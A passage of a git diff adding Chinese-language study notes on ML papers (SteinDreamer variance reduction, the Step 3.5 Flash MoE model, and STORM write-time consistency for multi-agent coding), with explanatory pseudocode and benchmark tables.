+    score = diffusion_model.predict_noise(x_noisy, t, text_prompt)
+    score_grad = sigma_t * (score - epsilon)
+    
+    # Step 4: 用 MiDAS 估计深度，构建 Stein 基线函数 phi
+    depth_predicted = depth_estimator(x_noisy)
+    phi = -pearson_correlation(depth_rendered, depth_predicted)
+    
+    # Step 5: 计算 phi 对输入图像的梯度
+    phi_grad = torch.autograd.grad(phi, x_noisy, create_graph=True)[0]
+    
+    # Step 6: 构造 Stein 控制变量
+    stein_control = epsilon * phi + phi_grad
+    control_variate = mu * stein_control
+    
+    # Step 7: 合并评分和控制变量
+    total_score = score_grad + control_variate
+    
+    # Step 8: 通过链式法则回传到 3D 参数
+    render_grad = torch.autograd.grad(
+        total_score, rgb_rendered, retain_graph=True
+    )[0]
+    gradient = torch.autograd.grad(
+        rgb_rendered, theta, grad_outputs=render_grad
+    )[0]
+    
+    return gradient
+
+
+def update_mu(nerf_model, diffusion_model, depth_estimator, theta, camera, text_prompt, mu):
+    """
+    优化 mu 以最小梯度范数（方差最小化）
+    
+    固定 theta，调整 mu 使得梯度更新的二阶矩最小。
+    这等价于最小化梯度范数的平方。
+    """
+    gradient = ssd_step(nerf_model, diffusion_model, depth_estimator,
+                        theta, camera, text_prompt, mu)
+    
+    # 最小化梯度范数的平方
+    loss = torch.sum(gradient ** 2)
+    
+    # 反向传播更新 mu
+    mu_grad = torch.autograd.grad(loss, mu, create_graph=True)[0]
+    mu = mu - lr_mu * mu_grad
+    
+    return mu
+```
+
+### 示例 2：完整的 SteinDreamer 训练循环
+
+```python
+class SteinDreamer:
+    def __init__(self, nerf_model, diffusion_model, depth_estimator, text_prompt):
+        self.nerf = nerf_model
+        self.diffusion = diffusion_model
+        self.depth_est = depth_estimator
+        self.prompt = text_prompt
+        
+        # 可学习的控制变量权重
+        self.mu = torch.ones_like(nerf_model.get_params())
+        
+        # 优化器
+        self.optimizer_theta = torch.optim.Adam(self.nerf.parameters(), lr=1e-3)
+        self.optimizer_mu = torch.optim.Adam([self.mu], lr=0.01)
+        
+    def train_step(self, step):
+        """执行一步交替优化"""
+        camera = sample_random_camera()
+        t = sample_diffusion_time()
+        
+        # --- 阶段 1: 更新 3D 模型参数 theta ---
+        self.optimizer_theta.zero_grad()
+        
+        gradient = ssd_step(
+            self.nerf, self.diffusion, self.depth_est,
+            self.nerf.get_params(), camera, self.prompt, self.mu
+        )
+        
+        self.optimizer_theta.step(lambda: gradient)
+        
+        # --- 阶段 2: 冻结 theta，优化 mu ---
+        self.optimizer_mu.zero_grad()
+        
+        gradient_frozen = ssd_step(
+            self.nerf, self.diffusion, self.depth_est,
+            self.nerf.get_params().detach(), camera, self.prompt, self.mu
+        )
+        
+        loss_mu = torch.sum(gradient_frozen ** 2)
+        loss_mu.backward()
+        self.optimizer_mu.step()
+        
+        # 记录方差
+        var = torch.var(gradient).item()
+        if step % 100 == 0:
+            print(f"Step {step}, Gradient Variance: {var:.6f}")
+        
+        return var
+    
+    def train(self, num_steps=5000):
+        """完整训练流程"""
+        for step in range(num_steps):
+            var = self.train_step(step)
+            
+            # 如果方差已经很低，可以提前停止
+            if var < 1e-6:
+                print(f"Converged at step {step}")
+                break
+        
+        return self.nerf
+```
+
+## 六、实验结果
+
+### 6.1 物体生成（Object-Centric）
+
+在单个物体的生成任务上，SteinDreamer 相比 SDS 和 VSD：
+- 纹理更清晰，没有过饱和和过度平滑
+- 几何更平滑，没有漂浮物（floaters）
+- 有效缓解了 Janus 问题（比如"狗雕像"只出现一张脸，而不是两张）
+
+### 6.2 场景生成（Scene-Level）
+
+在大场景生成中：
+- SDS 产生模糊、颜色不真实的图像
+- VSD 的背景噪声大，且在纹理细化阶段可能发散
+- SteinDreamer 生成更锐利、细节更好的结果
+
+### 6.3 收敛速度
+
+这是 SteinDreamer 的一大优势：
+- 比现有方法节省 **14%-22%** 的扩散模型调用次数
+- 每次迭代比 VSD 快约 **30%**（因为不需要微调另一个扩散模型）
+
+## 七、为什么 Stein 恒等式这么好用？
+
+回到最根本的问题：**为什么加了 Stein 控制变量就能降方差？**
+
+从公式上看，控制变量降低方差的程度取决于它与原始评分函数的相关性：
+
+```
+Var[新估计量] = (1 - Corr(原始, 控制变量)^2) × Var[原始]
+```
+
+相关性越高，方差降得越多。
+
+在 SDS 中，控制变量是纯高斯噪声，和真实评分几乎不相关，所以方差降低有限。
+
+在 VSD 中，控制变量是渲染图像自身的分数估计，相关性提高了，但需要额外微调一个扩散模型，计算成本高。
+
+在 SteinDreamer 中，控制变量来自 Stein 恒等式，基线函数 φ 可以用任何网络（如 MiDAS 深度估计器）来实现。这个网络捕捉的是 3D 结构的先验知识（深度/法向一致性），与评分函数高度相关，因此方差降低显著，而且不需要微调扩散模型。
+
+## 八、总结
+
+| 方面 | SDS | VSD | SteinDreamer (SSD) |
+|------|-----|-----|-------------------|
+| 核心思想 | 用噪声做控制变量 | 用渲染图像分数做控制变量 | 用 Stein 恒等式构造控制变量 |
+| 方差大小 | 高 | 中等 | 低 |
+| 额外成本 | 无 | 需微调扩散模型 | 只需 MiDAS 深度估计 |
+| 收敛速度 | 慢 | 中等 | 最快（快 14-22%） |
+| 单次迭代速度 | 快 | 慢（30%+） | 快 |
+| 生成质量 | 一般 | 较好 | 最好 |
+
+**一句话总结**：SteinDreamer 通过 Stein 恒等式把"降低方差"这件事变成了一个可以自由设计控制变量的问题，用现成的深度估计器就能显著提升 3D 生成的质量和速度。
+
+## 九、延伸思考
+
+1. **Stein 控制变量是否还有其他形式？** 论文中用了深度估计器，但理论上任何能捕捉 3D 结构信息的网络都可以作为 φ。法向量估计、语义分割等都可能有效。
+
+2. **μ 的学习策略**：论文中采用交替优化的方式（固定 θ 更新 μ，固定 μ 更新 θ）。是否有更高效的联合优化方法？
+
+3. **与 3DGS 的结合**：NeRF 正在被 3D Gaussian Splatting 取代，SteinDreamer 的思路能否迁移到 3DGS 框架中？
+
+4. **更广泛的方差缩减**：除了 Stein 恒等式，还有哪些数学工具可以用于构造控制变量？这可能是一个值得探索的方向。
diff --git a/src/content/docs/papers/step-3-5-flash.md b/src/content/docs/papers/step-3-5-flash.md
new file mode 100644
index 000000000..945e0e56e
--- /dev/null
+++ b/src/content/docs/papers/step-3-5-flash.md
@@ -0,0 +1,166 @@
+---
+title: "Step 3.5 Flash: 用 11B 活跃参数跑出门槛最低的"前沿智能"
+来源: https://arxiv.org/abs/2602.10604
+日期: 2026-06-13
+分类: 其他
+子分类: llm
+provenance: pipeline-v3
+---
+
+# Step 3.5 Flash 零基础学习笔记
+
+> **一句话总结**：StepFun 发布了一个 1960 亿总参数、但推理时只激活 110 亿参数的稀疏 MoE 模型，在数学、代码和 Agent 任务上达到了 GPT-5.2 xHigh 和 Gemini 3.0 Pro 同水平的性能，同时大幅降低推理成本。
+
+---
+
+## 一、日常类比：大饭店与快炒档
+
+想象一家顶级餐厅（大型语言模型）：
+
+- **传统 Dense 模型**（如 GPT-4）：每次来一位客人，厨师团队 100 人全体上阵，哪怕客人只点了一碗面。成本高、速度慢，但什么都做得出来。
+- **Step 3.5 Flash 的 MoE 思路**：厨房里有 100 个专家厨师（196B 总参数），但每位客人只触发其中 10 个最相关的厨师（11B 活跃参数）。点面点面师，点菜点厨师。成本降了 18 倍，但因为是顶级厨师团队，做出来的味道丝毫不差。
+
+这就是 Mixture-of-Experts（MoE）的核心思想：**让模型"知道很多"，但每次"只费很少"。**
+
+---
+
+## 二、核心概念拆解
+
+### 2.1 MoE（Mixture of Experts）— 混合专家
+
+**日常类比**：你去医院挂号，前台分诊台根据你的症状把你派到最对口的科室。你看牙去口腔科，不看全科。MoE 就是模型的"智能分诊台"。
+
+**技术解释**：
+- 模型包含多个并行的"专家"（Expert）神经网络
+- 每次推理时，一个 Gate（门控）机制决定哪些专家被激活
+- Step 3.5 Flash 共 196B 总参数，但每次推理只使用 11B
+
+```python
+# 伪代码：MoE 的前向传播
+class MoELayer(nn.Module):
+    def __init__(self, num_experts=128, top_k=2):
+        super().__init__()
+        self.experts = nn.ModuleList([
+            ExpertFFN() for _ in range(num_experts)  # 128 个专家
+        ])
+        self.gate = nn.Linear(d_model, num_experts)  # 门控网络
+        self.top_k = top_k  # 每次只选 2 个
+
+    def forward(self, x):
+        # 1. 门控：决定哪个专家来处理当前输入
+        gate_scores = self.gate(x)  # shape: [batch, seq, 128]
+        top_k_weights, top_k_indices = torch.topk(gate_scores, self.top_k, dim=-1)
+
+        # 2. 只激活选中的专家（节省算力）
+        output = torch.zeros_like(x)
+        for k in range(self.top_k):
+            expert_idx = top_k_indices[:, :, k]
+            weights = top_k_weights[:, :, k]
+            output += weights.unsqueeze(-1) * self.experts[expert_idx](x)
+
+        return output
+```
+
+**关键点**：
+- 总参数量 196B，活跃量 11B → 推理速度提升约 **18 倍**
+- 门控网络学会"精准分诊"：不同任务自动路由到不同专家
+
+### 2.2 MTP-3（Multi-Token Prediction）— 一次猜三步
+
+**日常类比**：正常语言模型像一个人写作文，写一个字看一眼纸面再写下一个字。MTP 像有"直觉"的人——写完"今天天"之后，基本能猜到下一个字是"气"。它同时预测接下来 3 个 token，减少"回头检查"的次数。
+
+**技术解释**：
+- 在 Decoder 的训练过程中，额外增加预测未来 N 个 token 的辅助任务
+- Step 3.5 Flash 使用 MTP-3，同时预测接下来的 3 个 token
+- 推理时可以利用这个能力做 Speculative Decoding（猜测性解码），加速生成
+
+```python
+# 伪代码：MTP-3 的训练目标
+def mtp_loss(hidden_states, labels, num_tokens=3):
+    """
+    hidden_states: 每一层的隐藏表示 [batch, seq, d_model]
+    labels: 目标 token ID [batch, seq]
+    """
+    loss = 0.0
+    # 主任务：预测下一个 token（标准语言模型损失）
+    main_logits = lm_head(hidden_states[-1])  # 最后一层
+    main_loss = cross_entropy(main_logits, labels)
+    loss += main_loss
+
+    # 辅助任务：从中间层同时预测未来 1/2/3 个 token
+    for layer_idx in range(len(hidden_states) - 1):
+        for offset in range(1, num_tokens + 1):
+            aux_logits = lm_head(hidden_states[layer_idx])
+            # labels 往前偏移 offset 位
+            aux_labels = labels[:, offset:]
+            aux_loss = cross_entropy(aux_logits, aux_labels)
+            loss += 0.1 * aux_loss  # 辅助损失权重调低
+
+    return loss / (1 + 2 * num_tokens)  # 归一化
+```
+
+**效果**：显著降低多轮 Agent 交互的延迟和成本。
+
+### 2.3 混合注意力（Hybrid Attention）— 远近兼顾
+
+**日常类比**：读一篇文章时，你既需要记住"开头说了什么"（全局注意力，计算量大），也需要快速扫到"上一句是什么"（滑动窗口注意力，速度快）。Step 3.5 Flash 用 3:1 的比例组合这两种方式。
+
+**技术解释**：
+- 3 层用 Sliding Window Attention（SWA）：只看附近窗口，O(n) 复杂度
+- 1 层用 Full Attention：看全文，O(n²) 但信息完整
+- 交替排列，兼顾长程依赖和推理效率
+
+### 2.4 MIS-PO 强化学习 — 让模型自己越练越强
+
+**日常类比**：传统 RLHF 像一个老师批改作业——"这样写好，那样写不好"。MIS-PO 更像自我纠错——模型先自己做题，做对了奖励，做错了分析原因，然后下次避开同类错误。关键创新在于"在大规模离线数据上也能稳定训练"。
+
+**技术解释**：
+- 可验证信号（代码执行结果、数学答案）+ 偏好反馈（人类或模型打分）
+- MIS（Model Importance Sampling）过滤掉低质量样本，稳定 off-policy 训练
+- 在数学、代码、工具使用三个领域实现持续自改进
+
+---
+
+## 三、性能数据一览
+
+| 基准测试 | Step 3.5 Flash | 对比模型 |
+|---|---|---|
+| IMO-AnswerBench（数学竞赛） | **85.4%** | 接近 GPT-5.2 xHigh |
+| LiveCodeBench-v6（编程） | **86.4%** | 接近 Gemini 3.0 Pro |
+| tau2-Bench（Agent 综合） | **88.2%** | — |
+| BrowseComp（网页浏览） | **69.0%** | — |
+| Terminal-Bench 2.0（终端操作） | **51.0%** | — |
+
+**重点**：以只有 11B 活跃参数，跑出了和千亿级 Dense 模型相当的成绩。
+
+---
+
+## 四、架构总结（第一性原理思考）
+
+从第一性原理看，Step 3.5 Flash 解决了一个根本问题：
+
+> **智能密度 ≠ 激活参数总量**
+
+传统思路：模型越大越好。StepFun 的思路是：**把参数"存起来"，只在需要时"激活"。** 这就像人脑——你不需要同时调动所有神经元来回答"现在几点了"。
+
+三个设计原则贯穿始终：
+1. **推理时要快** → MoE 稀疏激活（196B → 11B）
+2. **生成时要省** → MTP-3 减少解码步数
+3. **智能时要强** → 混合注意力 + 自进化 RL
+
+---
+
+## 五、思考与局限
+
+论文也坦诚了几个局限：
+- **Token 效率**：MoE 在极短文本上可能不如 Dense 模型高效
+- **全能性**：目前没有模型能在所有任务上都做到极致
+- **开放世界 Agent**：RL 在受控环境有效，但真实世界中 Agent 面临不可预见的场景
+
+---
+
+## 六、延伸阅读建议
+
+- Mixture-of-Experts 起源：[GShard (2020)](./mixture-of-experts.md)
+- 多 Token 预测：[Eagle (2024)](./eagle.md)
+- 强化学习对齐：[RLHF](./rlhf-christiano.md)、[DPO](./dpo.md)
diff --git a/src/content/docs/papers/storm-multi-agent-state.md b/src/content/docs/papers/storm-multi-agent-state.md
new file mode 100644
index 000000000..1e7c26981
--- /dev/null
+++ b/src/content/docs/papers/storm-multi-agent-state.md
@@ -0,0 +1,425 @@
+---
+title: STORM — 面向多智能体协作的状态导向管理
+来源: 'Mengyang Liu et al., "Multi-agent Collaboration with State Management", arXiv:2605.20563, 2026; 代码 https://github.com/dreamyang-liu/STORM'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：多人改同一份文档，该隔离还是实时对齐？
+
+想象一家创业公司只有**一份**产品需求文档（PRD），四个工程师同时开工：
+
+- **方案 A：各抄一份（Git Worktree 隔离）**  
+  每人拿 PRD 的副本在自己文件夹里改，互不打扰。两周后合并：A 把接口改成 REST，B 按 GraphQL 写完了客户端，C 的测试假设还是旧签名——**两边单独都能编译，合在一起却语义冲突**。合并冲突工具只能抓「同一行被改了两次」，抓不到「设计假设已经分叉」。
+
+- **方案 B：共享在线文档 + 提交前校验（STORM 思路）**  
+  大家编辑**同一份**仓库。每次要保存某段内容时，系统先问：「你写这段时依赖的章节，有人刚改过吗？」若 PRD 第三章已被同事更新，你的保存会被**拒绝**，并推送最新第三章让你**基于新基线重写**——冲突在**写入瞬间**暴露，而不是合并派对上才发现。
+
+- **方案 C：在代码里留「便签」（Intent Annotation）**  
+  工程师 A 改完共享模块，不仅在代码里改函数，还在旁边留结构化注释：`# {engineer_1: validate numeric inputs before summing}`。工程师 B 打开同一文件时，看到的不仅是 diff，还有**为什么这么改**——在必须碰同一文件的边界上，减少「各写各的、互不知情」。
+
+STORM（**ST**ate-**OR**iented **M**anagement）论文（Liu et al., arXiv:2605.20563）的核心主张是：**多 Agent 并行写代码时，问题本质是状态管理**——每个 Agent 的「局部世界观」是否仍与共享工作区一致。用写入时校验 + 意图注释，比「一人一个 worktree、最后再 merge」更可靠、也更省事后补救成本。
+
+---
+
+## 是什么
+
+**STORM** 是一个**架构无关**的多智能体状态管理框架，介于 LLM Agent 与共享文件工作区之间，**中介（mediate）所有文件读写**：
+
+1. Agent 读取文件时，记录 `(文件路径, 当时版本号)` 进入**读快照** \(S_i\)。
+2. Agent 发起写入前，STORM 检查：\(S_i\) 里每个文件的版本是否仍等于工作区当前版本。
+3. 若一致 → **原子接受**写入，目标文件版本 +1。
+4. 若不一致 → **拒绝写入**，把已变更文件的最新内容返回给 Agent，让其**从新基线重试**。
+5. 可选：**Intent Annotation**——Agent 在修改处留下 `# {agent_id: 意图描述}` 注释，供后续读同一文件的 Agent 理解上下文。
+
+论文在 **Commit0-Lite**（仓库级代码实现）和 **PaperBench Code-Dev**（论文复现代码）上评估，对比：
+
+| 基线 | 思路 |
+|------|------|
+| **Single-Agent** | 一个 Agent 包办，无协调开销 |
+| **GitWorktree** | 每 Agent 独立 worktree，完成后 merge |
+| **STORM** | 共享工作区 + 写入时局部状态一致性 |
+
+典型结果（Claude Sonnet 4.6，4 个 Engineer Agent）：
+
+- Commit0-Lite：**82.5%** macro pass（GitWorktree 63.8%，Single 66.4%）
+- PaperBench：**74.1** 分（GitWorktree 72.7，Single 68.7）
+- 与 Single-Agent 组合（STORM-Combined）可达 **87.6 / 78.2** 最高分
+
+代码开源：https://github.com/dreamyang-liu/STORM（基于 OpenHands SDK）。
+
+---
+
+## 为什么重要
+
+### 1. 多 Agent 写代码的瓶颈不是「会不会写」，而是「会不会撞车」
+
+并行 Agent 能分解大任务（不同模块、不同实验脚本），但共享代码库存在**跨文件依赖**：A 改接口、B 读旧接口写调用方、C 写测试——三者局部都「合理」，集成后 pytest 一片红。STORM 把「隐藏集成错误」变成**写入时的即时反馈**。
+
+### 2. Worktree 隔离把冲突推迟到 merge，恢复代价高
+
+Git merge 擅长文本冲突，不擅长**语义冲突**（两边各自通过编译，合并后行为错误）。Agent 在隔离分支里已经消耗大量 token 完成错误假设下的实现，merge 失败意味着**整段推理作废**。STORM 在 Agent **还没提交错误设计之前**就打断 stale write。
+
+### 3. 不需要全局快照，只需「局部一致」
+
+Agent 并不需要冻结整个仓库——它只需要**自己读过的文件**在推理期间未被他人修改。这比分布式事务的全局锁轻得多，非重叠文件上的工作仍可**完全并行**。
+
+### 4. 可插拔
+
+STORM 是文件 I/O 层的中介，不绑定特定编排拓扑（Manager–Engineer、对等 Agent 等均可）。论文强调可 **seamlessly plug into any multi-agent system**。
+
+---
+
+## 核心概念
+
+### 1. 工作区与版本化文件
+
+工作区 \(\mathcal{W} = \{(f, v_f) \mid f \in \mathcal{F}\}\)，每个文件 \(f\) 有单调递增版本号 \(v_f \in \mathbb{N}\)。每次成功写入使 \(v_f \leftarrow v_f + 1\)。
+
+### 2. 任务分解与主文件集
+
+Manager Agent 把任务 \(T\) 分解为子任务并分配给 Engineer：
+
+\[
+M: T \longrightarrow \{(\tau_i, F_i, a_i)\}_{i=1}^{k}, \quad F_i \cap F_j = \emptyset \ (i \neq j)
+\]
+
+\(F_i\) 是 Agent \(a_i\) 的**主文件集**（尽量不重叠），但实际访问集 \(A_i\) 常超出 \(F_i\)（读共享 util、import 等）。冲突只发生在 \(A_i \cap A_j \neq \emptyset\) 的**边界文件**上。
+
+### 3. 读快照 \(S_i\)
+
+Agent 每读一个文件 \(g\)，记录观测版本：
+
+\[
+S_i = \{(g, v_g^{\text{obs}}) \mid a_i \text{ 已读取 } g\}
+\]
+
+LLM 生成写入内容 \(c'\) 时，**只依赖** \(S_i\) 中的上下文，而非整个 \(\mathcal{W}\)——这是 STORM 利用的不对称性。
+
+### 4. 写入有效性（Local State Consistency）
+
+写入 \((a_i, f, c')\) **有效**当且仅当：
+
+\[
+\forall (g, v_g^{\text{obs}}) \in S_i:\; v_g^{\text{obs}} = v_g^{\text{cur}}
+\]
+
+即：Agent 读过的**每一个**文件，自读取以来都未被其他 Agent 修改。满足则原子应用；否则为**冲突写入**，拒绝并刷新 \(S_i\)。
+
+冲突分两类：
+
+- **直接冲突**：目标文件 \(f\) 本身版本已变（两人改同一文件）。
+- **间接冲突**：依赖的上下文文件（如被 import 的模块）已变，但 Agent 仍基于旧内容推理。
+
+### 5. Intent Annotation（意图注释）
+
+在 Agent 修改的代码块**正上方**插入结构化注释，例如：
+
+```python
+# {engineer_1: validate numeric inputs before summing}
+def add(a, b):
+    if not isinstance(a, (int, float)):
+        raise TypeError("a must be numeric")
+    return a + b
+```
+
+后续 Agent 读该文件时，除代码外还看到**设计意图**，在共享边界上协调而无需额外消息通道。消融实验（Commit0-Lite, Sonnet 4.6）：有 annotation 时 weighted pass **46.2%**，无 annotation **26.6%**——意图传递对协作质量影响显著。
+
+### 6. Manager–Engineer 编排（论文实现）
+
+- **Manager**：分解任务、分配 `(engineer_id, file_path, functions_to_implement, instruction)`、轮次结束后审查、统一 commit。
+- **Engineer**：在共享工作区实现指定函数；**不自行 git commit**；写入经 STORM 网关。
+- 失败 commit → 同一任务重新分配；最终由 Manager 做集成审查（import 对齐、命名一致、无 hang 代码）。
+
+---
+
+## 与 Git Worktree 的对比
+
+```text
+GitWorktree 模式:
+  Agent₁ → worktree₁ ──┐
+  Agent₂ → worktree₂ ──┼──→ merge（事后冲突检测）
+  Agent₃ → worktree₃ ──┘
+
+STORM 模式:
+  Agent₁ ──┐
+  Agent₂ ──┼──→ 共享工作区 ←── STORM 写入网关（写入时版本校验）
+  Agent₃ ──┘
+              ↓ 冲突 → 拒绝 + 返回最新文件 → Agent 重试
+```
+
+| 维度 | Git Worktree | STORM |
+|------|--------------|-------|
+| 冲突发现时机 | Merge 阶段 | **Write 阶段** |
+| Agent 是否看到他人进展 | 否（直到 merge） | **是**（读到的始终是最新已接受版本） |
+| 语义冲突 | 难自动处理 | 通过 stale-write 拒绝 + 重读缓解 |
+| 并行度 | 高（完全隔离） | 高（仅边界文件串行化） |
+| 跨文件强依赖仓库 | Merge 后才发现 | **imapclient、marshmallow、babel** 等大幅提升 |
+
+论文也指出：当任务边界与文件边界**完美对齐**时（如 PaperBench 的 sample-specific-masks），GitWorktree 可能不输——隔离本身无惩罚。STORM 优势集中在**跨文件依赖重**的仓库。
+
+---
+
+## 代码示例 1：最小 STORM 写入网关（教学用 Python）
+
+下面是一个**不含 LLM** 的简化版，演示「读快照 + 写入时版本校验」核心逻辑：
+
+```python
+from dataclasses import dataclass, field
+from typing import Dict, Set, Tuple
+
+FileVersion = int
+Content = str
+
+
+@dataclass
+class Workspace:
+    """共享工作区：文件内容 + 单调版本号。"""
+    files: Dict[str, Content] = field(default_factory=dict)
+    versions: Dict[str, FileVersion] = field(default_factory=dict)
+
+    def read(self, path: str) -> Tuple[Content, FileVersion]:
+        v = self.versions.get(path, 0)
+        return self.files.get(path, ""), v
+
+    def _bump(self, path: str, content: Content) -> None:
+        self.files[path] = content
+        self.versions[path] = self.versions.get(path, 0) + 1
+
+
+@dataclass
+class AgentState:
+    """Agent 的读快照 S_i。"""
+    agent_id: str
+    snapshot: Dict[str, FileVersion] = field(default_factory=dict)
+
+    def observe(self, path: str, version: FileVersion) -> None:
+        # 每次 read 都更新/记录观测版本
+        self.snapshot[path] = version
+
+
+class StormGate:
+    """中介所有写入：局部状态一致性检查。"""
+
+    def __init__(self, workspace: Workspace):
+        self.ws = workspace
+
+    def try_write(
+        self, agent: AgentState, path: str, new_content: Content
+    ) -> Tuple[bool, str]:
+        # 写入前也确保目标文件在 snapshot 中（通常 Agent 会先 read）
+        if path not in agent.snapshot:
+            return False, f"[{agent.agent_id}] must read {path} before write"
+
+        # 式 (3)：所有已读文件版本仍等于当前版本？
+        for g, v_obs in agent.snapshot.items():
+            v_cur = self.ws.versions.get(g, 0)
+            if v_obs != v_cur:
+                stale, _ = self.ws.read(g)
+                return False, (
+                    f"[{agent.agent_id}] stale context: {g} "
+                    f"observed v{v_obs}, current v{v_cur}. "
+                    f"Refresh and retry.\n--- latest {g} ---\n{stale}"
+                )
+
+        # 原子应用写入
+        self.ws._bump(path, new_content)
+        new_v = self.ws.versions[path]
+        agent.snapshot[path] = new_v  # 更新自身对目标文件的观测
+        return True, f"[{agent.agent_id}] write accepted → {path} v{new_v}"
+
+
+# --- 演示：Agent B 基于 stale 快照写入会被拒绝 ---
+ws = Workspace()
+ws._bump("utils.py", "def add(a, b):\n    return a + b\n")
+
+gate = StormGate(ws)
+agent_a = AgentState("engineer_1")
+agent_b = AgentState("engineer_2")
+
+# 两人最初读到相同版本
+content, v = ws.read("utils.py")
+agent_a.observe("utils.py", v)
+agent_b.observe("utils.py", v)
+
+# A 先成功写入（加了类型检查）
+new_a = (
+    "# {engineer_1: validate numeric inputs}\n"
+    "def add(a, b):\n"
+    "    if not isinstance(a, (int, float)):\n"
+    "        raise TypeError('a must be numeric')\n"
+    "    return a + b\n"
+)
+ok, msg = gate.try_write(agent_a, "utils.py", new_a)
+print(msg)  # write accepted
+
+# B 仍持有旧 snapshot，尝试基于旧 utils 写 client.py 并引用旧 add
+ok, msg = gate.try_write(agent_b, "utils.py", "def add(a, b): return a - b\n")
+print(msg)  # stale context → 拒绝，B 必须 re-read utils.py 再决策
+```
+
+运行这段代码，你会看到 **Agent B 的第二次写入因 `utils.py` 版本不一致而被拒绝**——这正是 STORM 把 merge 冲突前移到 write 时刻的机制。
+
+---
+
+## 代码示例 2：Intent Annotation 的生成与保留规则
+
+论文要求 Engineer 在**刚修改的代码块上方**插入意图注释，且读到他人注释时**默认保留**（除非任务明确要求改动）。下面是一个简化的「写入后自动插入 annotation + 合并读」辅助函数：
+
+```python
+import re
+from textwrap import dedent
+
+INTENT_PATTERN = re.compile(
+    r"^#\s*\{([^:}]+):\s*(.+?)\}\s*$", re.MULTILINE
+)
+
+
+def attach_intent(
+    agent_id: str,
+    intent: str,
+    original: str,
+    patched_block: str,
+) -> str:
+    """在 patched_block 前插入 intent annotation。"""
+    header = f"# {{{agent_id}: {intent}}}\n"
+    # 若原文件该位置已有 annotation，由 Agent 提示词要求 preserve
+    return original.replace(patched_block, header + patched_block, 1)
+
+
+def merge_read_view(file_content: str) -> str:
+    """
+    供后续 Agent 使用的「代码 + 意图」视图。
+    解析所有 intent 注释，便于 prompt 注入。
+    """
+    intents = INTENT_PATTERN.findall(file_content)
+    summary = "\n".join(
+        f"  - [{aid}] {desc}" for aid, desc in intents
+    ) or "  (no intent annotations)"
+    return dedent(f"""
+    ## File with intent annotations
+    ```python
+    {file_content}
+    ```
+    ## Parsed intents
+    {summary}
+    """)
+
+
+# 示例：engineer_2 读到 engineer_1 的意图后再改 test
+utils_src = attach_intent(
+    agent_id="engineer_1",
+    intent="validate numeric inputs before summing",
+    original="def add(a, b):\n    return a + b\n",
+    patched_block="def add(a, b):\n    return a + b\n",
+)
+utils_src = utils_src.replace(
+    "def add(a, b):\n    return a + b\n",
+    dedent("""\
+    def add(a, b):
+        if not isinstance(a, (int, float)):
+            raise TypeError("a must be numeric")
+        return a + b
+    """),
+)
+
+print(merge_read_view(utils_src))
+# engineer_2 的 prompt 可包含 Parsed intents，避免写出与类型检查冲突的测试
+```
+
+Intent annotation **不是** STORM 一致性的数学条件，而是工程上降低「同一文件边界」语义摩擦的**软协调层**——论文 Table 9 显示去掉后 pass rate 明显下降。
+
+---
+
+## 实验要点（零基础速览）
+
+### Commit0-Lite
+
+- 16 个 Python 仓库，Agent 需实现测试要求的 API。
+- STORM 在**跨文件依赖重**的仓库涨幅最大，例如 Sonnet 上：
+  - **marshmallow**：0.0%（single）→ 82.3%（STORM）
+  - **imapclient**：9.7% → 89.1%
+  - **jinja**：0.0% → 47.1%
+- 小且自洽的仓库（如 **chardet**）single-agent 仍可能更好——分解 + 协调开销不值得。
+
+### PaperBench Code-Dev
+
+- 20 篇 ML 论文的代码复现子任务。
+- STORM 在需要**大量代码组织**的论文上领先（what-will-my-model-forget: 99.8 vs 82.9 single）。
+- GitWorktree 在子任务与文件边界完美对齐时仍有 wins。
+
+### 多模型
+
+Sonnet 4.6、Qwen 3.6 Plus、DeepSeek V4 Pro 上 STORM 相对 GitWorktree 均有提升；**Qwen + babel** 从 0.2%（GitWorktree）→ 74.2%（STORM）尤为 dramatic。
+
+---
+
+## 局限与边界（论文 Appendix E）
+
+STORM **不能保证**任务语义正确或最终测试通过——它只保证：**被接受的写入基于当前文件版本的一致快照**。
+
+| 局限 | 说明 |
+|------|------|
+| **Terminal bypass** | 只中介 `file_editor` 类工具；`sed`、`echo >` 等 bash 直写无法 preventive 拒绝，仅能事后 diff 检测 |
+| **无命令协调** | 两 Agent 并行跑 formatter 等 shell 副作用未串行化 |
+| **文件级粒度** | 同文件不同函数也会触发 false-positive 拒绝；`__init__.py` 等热点文件成瓶颈 |
+| **失败模式仍在** | scope drift、accepted same-file overlap、budget 耗尽等占失败运行大多数 |
+
+失败分析表明：大量失败测试是 **assertion / missing API / type error**——写入已被接受为版本一致，但**任务切分或语义组合**仍错。STORM 解决的是**状态视图 staleness**，不是「Agent 永远写对」。
+
+---
+
+## 与相关工作的关系（简表）
+
+| 方向 | 代表 | 与 STORM 的区别 |
+|------|------|-----------------|
+| 多 Agent 编码 | MetaGPT, ChatDev | 多强调角色分工，少显式文件版本一致性 |
+| Worktree 并行 | 近期 SWE-agent 类系统 | 隔离 → 事后 merge |
+| 乐观并发控制 | 数据库 OCC | STORM 将 OCC 思想搬到 **Agent 文件写入** |
+| CRDT / OT | 协同编辑 | STORM 选择 **reject + retry** 而非自动 merge 语义 |
+
+注意：Stanford 的 **STORM 维基百科写作系统**（检索 + 多视角问答）是**完全不同**的项目，勿混淆。本文笔记对应 arXiv:2605.20563 的 **State-Oriented Management**。
+
+---
+
+## 何时值得用 STORM 思想？
+
+**适合：**
+
+- 多个 Coding Agent **共享同一仓库**并行改不同模块
+- 仓库**跨文件依赖密集**（import 链、共享 schema）
+- 希望**尽早**暴露集成问题，避免 merge 后大规模返工
+- 已有 OpenHands / 类似 Agent SDK，可在工具层加写入网关
+
+**可能不必：**
+
+- 任务天然按文件完美拆分、几乎无共享文件
+- 单 Agent 预算足够且仓库小而自洽
+- Agent 频繁通过 shell 绕过文件工具（STORM 覆盖不全）
+
+---
+
+## 动手清单（读完可以做什么）
+
+1. **读论文**：[arXiv:2605.20563](https://arxiv.org/abs/2605.20563) Section 2（形式化）+ Figure 1（架构图）。
+2. **Clone 代码**：`git clone --recursive https://github.com/dreamyang-liu/STORM.git`，按 README 跑 Commit0 / PaperBench 脚本。
+3. **自实现 Mini Gate**：用「代码示例 1」包一层你现有 Agent 的 `write_file` 工具。
+4. **加 Intent 规范**：在 Engineer system prompt 里固定 `# {id: ...}` 格式，观察并行改同一 module 时的冲突率。
+5. **对比实验**：同一 repo 分别跑 single / worktree / STORM，记录 pytest pass 与 token 成本。
+
+---
+
+## 一句话总结
+
